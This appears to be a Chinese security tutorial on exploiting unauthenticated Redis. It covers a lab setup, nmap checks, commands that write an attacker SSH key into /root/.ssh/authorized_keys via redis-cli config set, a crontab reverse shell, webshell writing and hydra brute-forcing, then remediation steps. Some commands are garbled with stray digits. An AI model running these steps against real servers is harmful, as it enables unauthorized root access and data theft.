redis介绍(来自百度百科)
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。
漏洞介绍
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
目前比较主流的案例:yam2 minerd 挖矿程序
Redis安全漏洞影响
一旦入侵成功,Redis数据会丢失,攻击者可直接添加账号用于ssh远程登录控制服务器,会给用户的 Redis 运行环境以及 Linux 主机造成安全风险,引发重要数据删除、泄露或加密勒索事件发生。
环境搭建
下载redis
解压
编译
cd src
安装
启动
连接测试
漏洞验证
redis默认使用的是6379端口,可以使用nmap来验证这个漏洞
漏洞利用
获取敏感信息
Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。
可以看到Redis的版本和服务器上内核版本信息,如果是新版的Redis2.8以后的版本还可以看到Redis配置文件的绝对路径
写入SSH公钥,获取操作系统权限
原理
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。
利用条件
1.redis对外开放,且未授权访问(默认配置)
2.服务器的ssh对外开放,可通过key登录
攻击详情
- 生成公钥
在攻击电脑上生成自己的公钥,一直按回车不用输入任何东西1ssh-keygen -t rsa
- 将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里123(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txtcat /root/.ssh/key.txt | ./redis-cli -h 漏洞服务器IP -x set xxx
连接漏洞服务器
1redis-cli -h 漏洞服务器IP设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
123config set dir /root/.sshconfig set dbfilename authorized_keyssave
- 使用SSH连接漏洞服务器1ssh 漏洞服务器IP
可以看到不用密码就可以直接远程登录
利用crontab反弹shell
端口监听
在攻击者服务器上监听一个端口(任意端口)
攻击详情
连接redis,写入反弹shell
1分钟后客户端这边收到centos的反弹shell
获取web服务的webshell
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。
注意:要知道web服务器的绝对路径
利用hydra暴力破解redis的密码
使用hydra工具可以对redis进行暴力破解
hydra -P passwd.txt redis://漏洞服务器IP
修复方案
禁止一些高危命令(重启redis才能生效)
修改 redis.conf 文件,禁用远程修改 DB 文件地址
或者通过修改redis.conf文件,改变这些高危命令的名称
以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
为 Redis 添加密码验证(重启redis才能生效)
|
|
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错
修改默认端口
修改配置文件redis.conf文件
默认端口是6379,可以改变成其他端口(不要冲突就好)
保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
安全补丁
不定期关注最新软件版本,并升级redis到最新版,防止新漏洞被利用。